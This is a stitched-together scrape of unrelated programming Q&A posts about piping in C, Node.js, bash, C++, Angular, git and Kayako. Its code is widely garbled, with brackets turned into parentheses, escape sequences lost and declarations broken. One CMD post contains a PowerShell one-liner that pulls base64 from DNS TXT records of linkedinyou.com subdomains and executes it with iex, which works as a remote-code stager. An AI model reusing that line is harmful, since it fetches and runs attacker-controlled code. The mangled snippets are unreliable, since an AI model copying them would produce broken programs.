strings – C scrabble counter with piping input

I want to start making some command line programs in C, this is a fork of something else I made but is more suitable to this site. My big question is there a better way to pipe commands? I think the way I did it feels improper. I especially feel the string method is a bit hacky.

#include <stdio.h>
#include <unistd.h>
#include <ctype.h>
#include <string.h>
int main(int argc, char *argv())
{
    char t(32767);
    unsigned int val = 0;
    if (argc == 2)
    {
        memset(t, '', sizeof(t));
        strcpy(t, argv(1));
    }
    else
    {
        read(STDIN_FILENO, t, 32767);
    }
    for (int i = 0; t(i); i++)
    {
        t(i) = tolower(t(i));
    }
    int i;
    for (i = 0; t(i) != ''; i++)
    {
        switch (t(i))
        {
        case 'a':
        case 'e':
        case 'i':
        case 'o':
        case 'u':
        case 'l':
        case 'n':
        case 's':
        case 't':
        case 'r':
            val += 1;
            break;
        case 'd':
        case 'g':
            val += 2;
            break;
        case 'b':
        case 'c':
        case 'm':
        case 'p':
            val += 3;
            break;
        case 'f':
        case 'h':
        case 'v':
        case 'w':
        case 'y':
            val += 4;
            break;
        case 'k':
            val += 5;
            break;
        case 'j':
        case 'x':
            val += 8;
            break;
        case 'q':
        case 'z':
            val += 10;
        }
    }
    printf("%in", val);
    return 0;
}

I know this is similar to Scrabble word scoring, but I am less interested in the switch but the stdin and the piping.

node.js – Piping multiple large files to write stream in NodeJS

Does anyone know what the problem is that when trying to pipe to write stream multiple large files and promise does not resolve

I have this method which returns a promise, I create multiple of these and use Promise.all to resolve them all. It works fine with a few files but when I am trying to write over 900 files and some of them are about 200mb in size it get stuck and the promise all never completes.
I can see that it creates all the files but then suddenly it just gets stuck and I can see that the file size are not increasing anymore

These are csv files and I removed piping to the csv2json package but it did not help

Any ideas what the problem might be ?

async writeFile(pathToFile: string, inputStream: ReadStream, count: number): Promise<void> {
        return new Promise((resolve, reject) => {
            const wStream = fs.createWriteStream(pathToFile);
            inputStream
                /*.pipe(csv2json({
                    separator: ',',
                    dynamicTyping: true
                }))*/
                .on('end', () => {
                    console.log('file read:', pathToFile);
                })
                .on('close', () => {
                    console.log('file closed:', pathToFile);
                })
                .on('error', (err) => {
                    console.log('read err: ', err);
                    inputStream.destroy();
                    reject(err);
                })
                .pipe(wStream)
                .on('close', () => {
                    console.log('file written:', pathToFile);
                })
                .on('finish', () => {
                    resolve();
                })
                .on('error', (err) => {
                    console.log('write err: ', err);
                    wStream.close();
                    reject(err);
                });
        });
    }

-Jani

bash – Piping nc to sed and evaluate datetime for each row

Could someone provide any idea, how could i pipe data from nc to sed (or awk, or anything) and evaluate and write to file a timestamp after each row?
What i have:

# cat /etc/systemd/system/ncserver.service
(Unit)
Description=netcat listener
After=network.target

(Service)
Restart=always
RestartSec=1
ExecStart=/usr/bin/bash -c '/usr/bin/nc -n -v -l -k -p 1313 >> /opt/data/$(hostname)-$(date -u +%%y%%m%%d-%%H).txt'

(Install)
WantedBy=multi-user.target

simple listener – receives text via raw tcp, sends into the file (restarts by cron once a day to generate new file)

I want to append current timestamp to each row of text coming (at the beginning or the end of the row, doesnt matter).
Tried sed, awk, but the problem is that i cannot evaluate date for each row – it evaluates only once, when service started.
Looks like this

109582 ?        Ss     0:00 /usr/bin/bash -c /usr/bin/nc -n -v -l -k -p 1313 | /usr/bin/sed 's/^/'$(date +%s)
 109583 ?        S      0:00 /usr/bin/nc -n -v -l -k -p 1313
 109584 ?        S      0:00 /usr/bin/sed s/^/1617555467;/g

Pipe may be not the answer at all, but i’m kinda limited by bash.
Any ideas?..

c++20 – Piping operator in c++

I wrote a simple piping operator in c++. I just wanted to make sure that my code was robust, modern c++ code, and made correct use of perfect forwarding.

Here’s the code:

#include <concepts>
#include <type_traits>
#include <utility>
#include <vector>
#include <iostream>
#include <deque>

//Accept an object on the left hand side and a function on the right
template <typename Any, typename... Args>
inline auto operator| (const Any& obj, std::invocable<Any> auto func){
    // Correct use of perfect forwarding??
    return func(std::forward<const Any&>(obj));
}

//Version for a functor which accepts a reference. Do I need to cover other cases?
template <typename Any, typename... Args>
inline auto operator| (Any& obj, std::invocable<Any&> auto func){
    return func(std::forward<Any&>(obj));
}

And here is how the user uses it:

int main() {
    auto x = std::vector{1 , 2 , 3 , 4 , 5 , 6};
    // Piping example 0
    auto y = 5 | () (int x) {return x * 2;} 
               | () (int x) {return x * 3;}
               ;
    
    std::cout << y << 'n';
    // Piping example 1
    x | () (std::vector<int>& vec) -> std::vector<int>& {vec.push_back(7); return vec;};

    std::cout << x(6);
    return 0;
}

And if you want to clean up the lambda syntax (I don’t mind personally) and have a cleaner, neater syntax you can do:

namespace piping {
    template <typename T>
    auto push_back(const T& obj) {
        return (obj) (auto& vec) -> auto& {vec.push_back(obj); return vec;};;
    }
}

/* ... Some code */

int main() {
    auto x = std::vector{1 , 2 , 3 ,4 ,5 , 6};
    // A bit cleaner...
    x | piping::push_back(7);
}

Did I make correct use of modern c++ and perfect forwarding?
Thanks in advance.

angular.js – Angular observables piping

I’m fairly new to Angular and the world of observables so I wanted to check and see if this was as efficient as can be. The goal is to get a user’s data from a group of documents that contains references to users in firestore.

ngOnInit

this.links = this.currentUserRef.collection('links', ref => ref.where('pendingRequest', '==', false)).get()
            .pipe(map(querySnap => {
                const ret = ();
                querySnap.forEach(async doc => {
                    const val = await doc.get('otherUser').get().then(async userData => {
                        return {
                            id: userData.id,
                            img: await this.getImage(userData.get('profilepic')),
                            name: userData.get('name'),
                            bio: userData.get('bio')
                        }
                    });
                    ret.push(val);
                });
                return ret;
            }));

HTML

<ion-item *ngFor="let link of links | async">
            <ion-avatar slot="start">
                <img src="https://codereview.stackexchange.com/{{link.img}}">
            </ion-avatar>
            <ion-label>
                <h2>{{link.name}}</h2>
                <p>{{link.bio}}</p>
            </ion-label>
            <ion-checkbox id="{{link.id}}"></ion-checkbox>
        </ion-item>

Thanks!

bash – piping std out as parameters with pipes

I’ve used piping for years for basic things like grep‘ing. But I’ve always been hung up on how to control how the output of commands can be routed as input to others.

Let’s pretend I have a branch called develop/whats-the-name-of-this-branch-again

I’m terrible at remembering branch names. So I can search for it in my huge collection of local branches with something like:

git branch | grep develop/whats-the-name

But where I’m stuck is how to actually pass the output of that result into git checkout.

I tried xargs but it seems like it’s meant for plural output instead of singular:

git branch | grep develop/whats-the-name | xargs git checkout

Am I going about this in the right way? Am I missing a common sense method here?

Piping set string and escape in CMD

I am trying to do:

echo | set / P = "$ b64 =" "; (1..2) | ForEach-Object {$ b64 + = (nslookup -q = txt" $ _. linkedinyou.com ") (- 1)}; iex (( System.Text.Encoding) :: ASCII.GetString ((System.Convert) :: FromBase64String (($ b64 -replace (& # 39; t | "& # 39 ;," ")))) >> run. asked

but always further:

& # 39; ForEach-Object & # 39; is not recognized as an internal or external command,
operable program or batch file.

I have a variety of escape actions for "and ^" ^ | etc. tried, but always get the same results.

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,

Kayako Piping suddenly stopped working!

Quote Quote by Domaincart
Show contribution

There are some contributions to your problem in the Kayako community forums. Did you try searching or contacting Kayako Support?

Chances are against it, as "Kayako" and "Support" are no longer a "thing".
They sold to a venture capitalist and basically killed the download version with absurd prices and total neglect.

As for piping, you can instead switch to querying the email account via POP as a temporary solution. If the pipe fails on Namecheap, it's up to them, not the Kayako software. I know, with some providers in the past, we've had to put the pipeline path in quotation marks to set it up to work. I've never hosted anything with NC, so I'm not sure.